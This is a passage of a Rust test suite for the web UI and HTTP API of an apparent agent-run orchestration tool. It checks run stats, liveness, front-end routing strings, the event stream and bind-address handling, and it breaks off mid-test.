7918 assert_eq!(queue["done"], 0);
7919 assert_eq!(queue["failed"], 0);
7920 assert_eq!(queue["blocked"], 0);
7921 }
7922
7923 #[tokio::test]
7924 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
7925 let f = Fixture::start().await;
7926 let stats = f.get("/api/stats").await;
7927 assert_eq!(stats.status, 200);
7928 assert_eq!(stats.json()["totals"]["runs"], 0);
7929 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
7930 assert_eq!(stats.json()["runs_unreadable"], 0);
7931 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
7932 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
7933 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
7934 assert_eq!(stats.json()["repo"], Value::Null);
7935 }
7936
7937 #[tokio::test]
7938 async fn stats_lists_every_repository_with_runs_recorded() {
7939 let f = Fixture::start().await;
7940 write_run_repo(
7941 &f.runs(),
7942 "20260902-140501-a",
7943 RunStatus::Merged,
7944 "/repos/a",
7945 );
7946 write_run_repo(
7947 &f.runs(),
7948 "20260902-140502-b",
7949 RunStatus::Merged,
7950 "/repos/a",
7951 );
7952 write_run_repo(
7953 &f.runs(),
7954 "20260902-140503-c",
7955 RunStatus::Blocked,
7956 "/repos/b",
7957 );
7958
7959 let stats = f.get("/api/stats").await;
7960 assert_eq!(stats.status, 200);
7961 assert_eq!(stats.json()["totals"]["runs"], 3);
7963 assert_eq!(stats.json()["repo"], Value::Null);
7964
7965 let repos = stats.json()["repos"].clone();
7966 let repos = repos.as_array().unwrap();
7967 assert_eq!(repos.len(), 2);
7968 assert_eq!(repos[0]["repo"], "/repos/a");
7970 assert_eq!(repos[0]["name"], "a");
7971 assert_eq!(repos[0]["runs"], 2);
7972 assert_eq!(repos[1]["repo"], "/repos/b");
7973 assert_eq!(repos[1]["runs"], 1);
7974 }
7975
7976 #[tokio::test]
7977 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
7978 let f = Fixture::start().await;
7979 write_run_repo(
7980 &f.runs(),
7981 "20260902-140501-a",
7982 RunStatus::Merged,
7983 "/repos/a",
7984 );
7985 write_run_repo(
7986 &f.runs(),
7987 "20260902-140502-b",
7988 RunStatus::Blocked,
7989 "/repos/b",
7990 );
7991
7992 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
7993 assert_eq!(stats.status, 200);
7994 assert_eq!(stats.json()["totals"]["runs"], 1);
7995 assert_eq!(stats.json()["totals"]["merged"], 1);
7996 assert_eq!(stats.json()["repo"], "/repos/a");
7997 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
8000 assert_eq!(stats.json()["runs_unreadable"], 0);
8003 }
8004
8005 #[tokio::test]
8006 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
8007 let f = Fixture::start().await;
8008 write_run_repo(
8009 &f.runs(),
8010 "20260902-140501-a",
8011 RunStatus::Merged,
8012 "/repos/a",
8013 );
8014
8015 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8016 assert_eq!(stats.status, 404);
8017 }
8018
8019 #[tokio::test]
8020 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8021 let f = Fixture::start().await;
8022 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8023
8024 let summary = f.get("/api/runs").await.json();
8025 let row = &summary[0];
8026 assert_eq!(row["short"], "a1b2");
8027 assert_eq!(row["status"], "ready");
8028 assert_eq!(row["done"], true);
8029 assert_eq!(row["title"], "Add a web UI");
8030 assert_eq!(row["repo_name"], "magi");
8031 assert_eq!(row["judges"], 3);
8032 assert_eq!(row["winner"], Value::Null);
8033 assert_eq!(row["reviews"], 0);
8034
8035 let detail = f.get("/api/runs/a1b2").await;
8038 assert_eq!(detail.status, 200);
8039 assert_eq!(detail.json()["base_branch"], "main");
8040 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8041 }
8042
8043 #[tokio::test]
8051 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8052 let f = Fixture::start().await;
8053
8054 let mut none_run = RunState::new(
8055 PathBuf::from("/repo/magi"),
8056 "main".to_owned(),
8057 "0123456789abcdef".to_owned(),
8058 "Add a web UI".to_owned(),
8059 Config::default(),
8060 );
8061 none_run.id = "20260902-140503-none".to_owned();
8062 none_run.status = RunStatus::Ready;
8063 none_run.merge = Some(crate::run::MergeOutcome {
8064 mode: crate::config::MergeMode::None,
8065 ok: true,
8066 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8067 });
8068 write_state(&f.runs(), &none_run);
8069
8070 let mut pr_run = RunState::new(
8071 PathBuf::from("/repo/magi"),
8072 "main".to_owned(),
8073 "0123456789abcdef".to_owned(),
8074 "Add a web UI".to_owned(),
8075 Config::default(),
8076 );
8077 pr_run.id = "20260902-140504-prcl".to_owned();
8078 pr_run.status = RunStatus::Ready;
8079 pr_run.merge = Some(crate::run::MergeOutcome {
8080 mode: crate::config::MergeMode::Pr,
8081 ok: false,
8082 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8083 });
8084 write_state(&f.runs(), &pr_run);
8085
8086 let summary = f.get("/api/runs").await.json();
8087 let rows: std::collections::HashMap<&str, &Value> = summary
8088 .as_array()
8089 .expect("an array")
8090 .iter()
8091 .map(|r| (r["id"].as_str().expect("an id"), r))
8092 .collect();
8093 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8094 assert_eq!(
8095 rows[none_run.id.as_str()]["unmerged_by_design"],
8096 true,
8097 "a mode-none Ready must be flagged in the list"
8098 );
8099 assert_eq!(
8100 rows[pr_run.id.as_str()]["unmerged_by_design"],
8101 false,
8102 "a Ready reached by a closed pull request is a different case"
8103 );
8104
8105 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8106 assert_eq!(none_detail["status"], "ready");
8107 assert_eq!(none_detail["unmerged_by_design"], true);
8108
8109 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8110 assert_eq!(pr_detail["unmerged_by_design"], false);
8111 }
8112
8113 #[tokio::test]
8118 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8119 let f = Fixture::start().await;
8120 let id = "20260902-140502-bbbb";
8124 let mut state = RunState::new(
8125 PathBuf::from("/repo/magi"),
8126 "main".to_owned(),
8127 "0123456789abcdef".to_owned(),
8128 "Add a web UI".to_owned(),
8129 Config::default(),
8130 );
8131 state.id = id.to_owned();
8132 state.status = RunStatus::Judging;
8133 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8134 let dir = f.runs().join(id);
8135 std::fs::create_dir_all(&dir).expect("run dir");
8136 std::fs::write(
8137 dir.join("run.json"),
8138 serde_json::to_string_pretty(&state).expect("serialize run"),
8139 )
8140 .expect("write run.json");
8141
8142 let cold = f.get(&format!("/api/runs/{id}")).await.json();
8148 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8149 assert_eq!(cold["live"], "unknown", "{cold}");
8150
8151 write_daemon(f.home.path(), Timestamp::now());
8154 let warm = f.get(&format!("/api/runs/{id}")).await.json();
8155 assert_eq!(warm["live"], "live", "{warm}");
8156 }
8157
8158 #[tokio::test]
8165 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8166 let f = Fixture::start().await;
8167 let id = "20260922-090000-cccc";
8168 let mut state = RunState::new(
8169 PathBuf::from("/repo/magi"),
8170 "main".to_owned(),
8171 "0123456789abcdef".to_owned(),
8172 "Review only".to_owned(),
8173 Config::default(),
8174 );
8175 state.id = id.to_owned();
8176 state.status = RunStatus::Reviewing;
8177 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8178 state.driver_pid = Some(std::process::id());
8184 state.driver_started_at = Some(
8185 crate::proc::process_started_at(std::process::id())
8186 .expect("this test process's own start time must be queryable"),
8187 );
8188 let dir = f.runs().join(id);
8189 std::fs::create_dir_all(&dir).expect("run dir");
8190 std::fs::write(
8191 dir.join("run.json"),
8192 serde_json::to_string_pretty(&state).expect("serialize run"),
8193 )
8194 .expect("write run.json");
8195
8196 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8197 assert_eq!(detail["live"], "live", "{detail}");
8198 }
8199
8200 #[tokio::test]
8206 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8207 let f = Fixture::start().await;
8208 let id = "20260922-090100-dddd";
8209 let mut state = RunState::new(
8210 PathBuf::from("/repo/magi"),
8211 "main".to_owned(),
8212 "0123456789abcdef".to_owned(),
8213 "Review only".to_owned(),
8214 Config::default(),
8215 );
8216 state.id = id.to_owned();
8217 state.status = RunStatus::Reviewing;
8218 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8219 state.driver_pid = Some(std::process::id());
8224 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8225 let dir = f.runs().join(id);
8226 std::fs::create_dir_all(&dir).expect("run dir");
8227 std::fs::write(
8228 dir.join("run.json"),
8229 serde_json::to_string_pretty(&state).expect("serialize run"),
8230 )
8231 .expect("write run.json");
8232
8233 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8234 assert_eq!(detail["live"], "dead", "{detail}");
8235 }
8236
8237 #[test]
8241 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8242 let mk = |id: &str, pid: Option<u32>| {
8243 let mut s = RunState::new(
8244 PathBuf::from("/repo/magi"),
8245 "main".to_owned(),
8246 "0123456789abcdef".to_owned(),
8247 "Add a web UI".to_owned(),
8248 Config::default(),
8249 );
8250 s.id = id.to_owned();
8251 s.driver_pid = pid;
8252 s.driver_started_at = Some("t0".to_owned());
8253 s
8254 };
8255 let states = vec![
8256 mk("20260902-140502-aaaa", Some(77)),
8257 mk("20260902-140502-bbbb", Some(77)),
8258 mk("20260902-140502-cccc", Some(77)),
8259 mk("20260902-140502-dddd", None),
8260 ];
8261 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8262 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8263 let sup: HashMap<String, String> = [(
8264 "20260902-140502-aaaa".to_owned(),
8265 "20260902-140502-cccc".to_owned(),
8266 )]
8267 .into();
8268
8269 let status_calls = std::cell::Cell::new(0);
8270 let identity_calls = std::cell::Cell::new(0);
8271 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8272 |_| {
8273 status_calls.set(status_calls.get() + 1);
8274 Some(true)
8275 },
8276 |_| {
8277 identity_calls.set(identity_calls.get() + 1);
8278 Some("t0".to_owned())
8279 },
8280 ));
8281 let rows = summarize(
8282 states,
8283 &open,
8284 &claimed,
8285 &sup,
8286 |p| probe.borrow_mut().status(p),
8287 |p| probe.borrow_mut().started_at(p),
8288 );
8289
8290 assert_eq!(status_calls.get(), 1, "one pid, one status query");
8291 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8292 assert_eq!(rows.len(), 4);
8293 assert!(!rows[0].waiting && rows[1].waiting);
8294 assert_eq!(rows[0].live, crate::run::Liveness::Live);
8295 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8296 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8297 assert_eq!(rows[1].superseded_by, None);
8298 }
8299
8300 #[test]
8301 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8302 let mut state = RunState::new(
8303 PathBuf::from("/repo/magi"),
8304 "main".to_owned(),
8305 "0123456789abcdef".to_owned(),
8306 "Review only".to_owned(),
8307 Config::default(),
8308 );
8309 state.id = "20260922-090200-dead".to_owned();
8310 state.status = RunStatus::Reviewing;
8311 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8312 .expect("serialize list row");
8313 assert_eq!(row["status"], "reviewing");
8314 assert_eq!(row["live"], "dead", "{row}");
8315 assert!(!row["done"].as_bool().unwrap());
8316 }
8317
8318 #[tokio::test]
8319 async fn the_run_list_is_newest_first_and_honours_a_limit() {
8320 let f = Fixture::start().await;
8321 for id in [
8322 "20260902-140501-aaaa",
8323 "20260902-140502-bbbb",
8324 "20260902-140503-cccc",
8325 ] {
8326 write_run(&f.runs(), id, RunStatus::Merged);
8327 }
8328
8329 let all = f.get("/api/runs").await.json();
8330 let capped = f.get("/api/runs?limit=2").await.json();
8331
8332 assert_eq!(all[0]["id"], "20260902-140503-cccc");
8333 assert_eq!(all.as_array().map(Vec::len), Some(3));
8334 assert_eq!(capped.as_array().map(Vec::len), Some(2));
8335 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8336 }
8337
8338 #[tokio::test]
8339 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8340 let f = Fixture::start().await;
8341 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8342
8343 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8344
8345 assert_eq!(res.status, 200);
8346 assert!(
8347 res.headers
8348 .contains("content-type: text/plain; charset=utf-8"),
8349 "a browser must render it, not download it: {}",
8350 res.headers
8351 );
8352 assert!(
8356 res.body.contains("20260902-140501-a1b2"),
8357 "the report is about the run that was asked for: {}",
8358 res.body
8359 );
8360 }
8361
8362 #[tokio::test]
8363 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8364 let f = Fixture::start().await;
8365
8366 let html = f.get("/").await;
8367 let css = f.get("/app.css").await;
8368 let js = f.get("/app.js").await;
8369
8370 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8371 assert!(
8372 html.headers
8373 .contains("content-type: text/html; charset=utf-8")
8374 );
8375 assert!(css.headers.contains("content-type: text/css"));
8376 assert!(js.headers.contains("content-type: text/javascript"));
8377 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8378 }
8379
8380 #[test]
8381 fn review_rounds_label_a_distinct_verified_head() {
8382 assert!(APP_JS.contains("round.verified_head"));
8383 assert!(APP_JS.contains("verified HEAD"));
8384 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8385 }
8386
8387 #[test]
8388 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8389 assert!(APP_JS.contains("blocked: { glyph:"));
8393 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8394
8395 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8399 assert!(
8400 APP_JS.contains(
8401 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8402 ),
8403 "the note line must name what a blocked task is waiting on, not just that it is blocked"
8404 );
8405 assert!(APP_JS.contains("if (status === \"blocked\") {"));
8409
8410 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8414 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8415 assert!(
8416 APP_JS.contains("location.hash = \"#/questions\";"),
8417 "a question node must jump to the Questions screen, not pretend to be a task"
8418 );
8419
8420 assert!(APP_JS.contains("Resolved questions"));
8423 assert!(APP_JS.contains("r.answersList.append("));
8424 assert!(APP_CSS.contains(".task-answers"));
8425 }
8426
8427 #[test]
8428 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8429 assert!(
8434 APP_JS.contains(
8435 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8436 ),
8437 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8438 );
8439 assert!(
8440 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8441 "regression: the task link must not go back to naming the bare Backlog route"
8442 );
8443
8444 assert!(
8447 APP_JS.contains(
8448 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8449 ),
8450 "`#/queue/<id>` must parse into a route carrying that id"
8451 );
8452
8453 assert!(APP_JS.contains("state.queueFocus = route.id;"));
8457 assert!(APP_JS.contains("function consumeQueueFocus()"));
8458 assert!(APP_JS.contains("jumpToTask(id);"));
8459 }
8460
8461 #[test]
8462 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8463 assert!(
8472 APP_JS.contains(
8473 " if (!id || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8474 ),
8475 "the search-clearing branch must run before state.queueFocus is cleared, or the \
8476 recursive renderQueue() call has nothing left to jump to"
8477 );
8478 assert!(
8479 APP_JS.contains("state.queueFocus = null;\n jumpToTask(id);"),
8480 "state.queueFocus must be cleared immediately before the jump it guards, not earlier"
8481 );
8482 }
8483
8484 #[test]
8485 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8486 assert!(
8494 APP_JS.contains(
8495 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8496 ),
8497 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8498 );
8499 }
8500
8501 #[test]
8502 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8503 assert!(
8504 APP_JS.contains("round.verified_head !== round.head"),
8505 "a round that verified an earlier commit must be visibly distinct from one that \
8506 verified the head reviewers are looking at now"
8507 );
8508 assert!(
8509 APP_JS.contains("round.verified_at"),
8510 "when a check ran must be on the wire, not just which commit"
8511 );
8512 assert!(
8513 APP_JS.contains("resource_blocked"),
8514 "a command magi never got to run (shared build cache contention) must not render \
8515 the same as a command that ran and failed"
8516 );
8517 }
8518
8519 #[test]
8520 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
8521 assert!(
8529 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
8530 "every KPI tile built through statusTile() must route its click through \
8531 openRunsFiltered, the single place that sets the Runs filter"
8532 );
8533 for (label, status) in [
8534 ("Merged", "merged"),
8535 ("Ready", "ready"),
8536 ("Blocked", "blocked"),
8537 ("Stalled", "stalled"),
8538 ] {
8539 let call = format!("statusTile(\"{label}\", t.{status}, ");
8540 assert!(
8541 APP_JS.contains(&call),
8542 "expected the {label} KPI tile built via {call}..."
8543 );
8544 assert!(
8545 APP_JS.contains(&format!("status === \"{status}\"")),
8546 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
8547 compare a run against, not one invented only for the stats tile"
8548 );
8549 }
8550 assert!(
8551 APP_JS.contains("function openRunsFiltered(status)"),
8552 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
8553 );
8554 assert!(
8555 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
8556 "matchesFilter must gate on the exact status a KPI tile named"
8557 );
8558 assert!(
8566 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
8567 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
8568 hashchange event that may never fire"
8569 );
8570 }
8571
8572 #[test]
8573 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
8574 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
8580 assert!(
8581 APP_JS.contains(
8582 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
8583 ),
8584 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
8585 guard for an incompatible tree section"
8586 );
8587 }
8588
8589 #[test]
8590 fn every_stats_queue_tile_names_a_real_queue_section() {
8591 assert!(
8597 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
8598 "every queue tile built through sectionTile() must route its click through \
8599 openQueueSectionFocus"
8600 );
8601 for key in ["upnext", "running", "done", "held", "blocked"] {
8602 assert!(
8603 APP_JS.contains(&format!("{{ key: \"{key}\",")),
8604 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
8605 );
8606 }
8607 for line in [
8611 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
8612 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
8613 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
8614 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
8615 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
8616 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
8617 ] {
8618 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
8619 }
8620 }
8621
8622 #[test]
8623 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
8624 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
8631 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
8632 assert!(APP_JS.contains("function revealQueueSection(details)"));
8633 assert!(
8634 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
8635 "renderQueue() must consume both focus channels on every pass"
8636 );
8637 assert!(
8638 APP_JS.contains(
8639 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8640 ),
8641 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
8642 the recursive renderQueue() call has nothing left to reveal"
8643 );
8644 assert!(
8645 APP_JS.contains(
8646 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
8647 ),
8648 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
8649 );
8650 assert!(
8658 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
8659 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
8660 hashchange event that may never fire"
8661 );
8662 }
8663
8664 #[tokio::test]
8665 async fn the_change_stream_announces_the_current_revisions_on_connect() {
8666 let f = Fixture::start().await;
8667
8668 let mut socket = tokio::net::TcpStream::connect(f.addr)
8669 .await
8670 .expect("connect");
8671 socket
8672 .write_all(
8673 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8674 )
8675 .await
8676 .expect("write request");
8677
8678 let mut seen = String::new();
8681 let mut buf = [0u8; 1024];
8682 while !seen.contains("event: change") {
8683 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8684 .await
8685 .expect("the stream must speak within five seconds")
8686 .expect("read");
8687 assert!(read > 0, "the server closed the change stream: {seen}");
8688 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8689 }
8690
8691 assert!(
8692 seen.to_lowercase()
8693 .contains("content-type: text/event-stream"),
8694 "the browser only reconnects automatically for a real SSE stream: {seen}"
8695 );
8696 let data = seen
8697 .lines()
8698 .find_map(|l| l.strip_prefix("data:"))
8699 .expect("a data line");
8700 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8701 assert!(
8702 payload["queue_rev"].is_u64()
8703 && payload["runs_rev"].is_u64()
8704 && payload["questions_rev"].is_u64()
8705 && payload["talks_rev"].is_u64()
8706 && payload["notifications_rev"].is_u64()
8707 && payload["loop_rev"].is_u64(),
8708 "the client needs one revision per store to know what to refetch, \
8709 and `talks_rev` is the only notification a standing talk gets - a \
8710 phone whose radio slept through a turn learns about it here, as \
8711 does one whose operator started the loop from another device: \
8712 {payload}"
8713 );
8714
8715 let health = f.get("/api/health").await.json();
8722 for key in [
8723 "queue_rev",
8724 "runs_rev",
8725 "questions_rev",
8726 "talks_rev",
8727 "notifications_rev",
8728 "loop_rev",
8729 ] {
8730 assert!(
8731 health[key].is_u64(),
8732 "health is the change stream's fallback and is missing `{key}`: {health}"
8733 );
8734 }
8735 }
8736
8737 #[tokio::test]
8738 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8739 let f = Fixture::start().await;
8740 let before = f.get("/api/health").await.json()["talks_rev"]
8741 .as_u64()
8742 .expect("talks_rev");
8743
8744 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8745 std::thread::sleep(Duration::from_millis(10));
8746 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8747 on_disk.turns.push(crate::talk::Turn {
8748 who: crate::talk::Who::Operator,
8749 body: "a new turn".to_owned(),
8750 at: Timestamp::now(),
8751 attachments: Vec::new(),
8752 });
8753 f.talks().put(&mut on_disk).expect("record a turn");
8754
8755 let after = f.get("/api/health").await.json()["talks_rev"]
8756 .as_u64()
8757 .expect("talks_rev");
8758 assert_ne!(
8759 before, after,
8760 "a phone must be able to notice a talk's reply without polling every store"
8761 );
8762 }
8763
8764 #[test]
8765 fn bind_reads_back_from_the_spelling_the_cli_prints() {
8766 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8770 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8771 }
8772 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8773 assert!("everywhere".parse::<Bind>().is_err());
8774 }
8775
8776 #[test]
8777 fn an_explicit_bind_address_is_taken_verbatim() {
8778 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8779
8780 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8781
8782 assert_eq!(addr, asked);
8783 assert!(
8784 warning.is_none(),
8785 "an operator who named an address gets no lecture"
8786 );
8787 }
8788
8789 #[test]
8790 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8791 let (addr, warning) = resolve_bind(&Bind::Auto);
8792
8793 match addr {
8800 IpAddr::V4(ip) if is_tailnet(&ip) => {
8801 assert!(warning.is_none(), "a tailnet address needs no warning");
8802 }
8803 other => {
8804 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8805 let warning = warning.expect("a fallback has to explain itself");
8806 assert!(
8807 warning.contains("127.0.0.1") && warning.contains("local-only"),
8808 "the warning says what happened and what it costs: {warning}"
8809 );
8810 }
8811 }
8812 }
8813
8814 #[test]
8815 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8816 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8820 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8821 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8822 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8823 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8824 }
8825
8826 #[test]
8827 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8828 let ids = vec![
8829 "20260902-140501-aaaa".to_owned(),
8830 "20260902-140502-aabb".to_owned(),
8831 ];
8832
8833 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8834 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8835 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8836
8837 assert_eq!(missing.status, StatusCode::NOT_FOUND);
8838 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8839 assert_eq!(short, "20260902-140502-aabb");
8840 }
8841 #[tokio::test]
8842 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8843 let fx = Fixture::start().await;
8849 let id = panel(
8850 &fx,
8851 "<img src=\"shot.png\">",
8852 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
8853 );
8854
8855 let doc = fx
8857 .get(&format!("/api/questions/{id}/panel/index.html"))
8858 .await;
8859 assert_eq!(doc.status, 200, "{}", doc.body);
8860 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
8861
8862 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
8863 assert_eq!(sibling.status, 200, "{}", sibling.body);
8864 assert_eq!(sibling.header("content-type"), Some("image/png"));
8865 assert_eq!(
8866 sibling.header("content-security-policy"),
8867 Some(PANEL_CSP),
8868 "the sibling route must carry the same policy as the asset route"
8869 );
8870
8871 assert_eq!(
8874 fx.head(&format!("/api/questions/{id}/panel")).await.status,
8875 200
8876 );
8877 }
8878
8879 #[test]
8880 fn runs_revision_moves_when_deleting_an_older_run() {
8881 let temp = TempDir::new().expect("tempdir");
8882 let runs = temp.path().join("runs");
8883 std::fs::create_dir_all(&runs).expect("create runs dir");
8884
8885 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
8886
8887 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
8888 std::thread::sleep(Duration::from_millis(10));
8889 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
8890
8891 let rev_before = runs_revision(&runs);
8892 assert!(rev_before > 0);
8893
8894 let old_dir = runs.join("20260901-100000-old1");
8895 std::fs::remove_dir_all(&old_dir).expect("remove old run");
8896
8897 let rev_after = runs_revision(&runs);
8898 assert_ne!(
8899 rev_before, rev_after,
8900 "deleting an older run must change the revision so other clients see the deletion"
8901 );
8902 }
8903
8904 fn write_state(runs: &FsPath, state: &RunState) {
8909 let dir = runs.join(&state.id);
8910 std::fs::create_dir_all(&dir).expect("run dir");
8911 std::fs::write(
8912 dir.join("run.json"),
8913 serde_json::to_string_pretty(state).expect("serialize run"),
8914 )
8915 .expect("write run.json");
8916 }
8917
8918 #[test]
8923 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
8924 let temp = TempDir::new().expect("tempdir");
8925 let runs = temp.path().join("runs");
8926 std::fs::create_dir_all(&runs).expect("create runs dir");
8927 let mut state = RunState::new(
8928 PathBuf::from("/repo/magi"),
8929 "main".to_owned(),
8930 "0123456789abcdef".to_owned(),
8931 "task".to_owned(),
8932 Config::default(),
8933 );
8934 state.id = "20260902-100000-c0de".to_owned();
8935 write_state(&runs, &state);
8936
8937 let rev_idle = runs_revision(&runs);
8938 std::thread::sleep(Duration::from_millis(10));
8939 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
8940 write_state(&runs, &state);
8941 let rev_started = runs_revision(&runs);
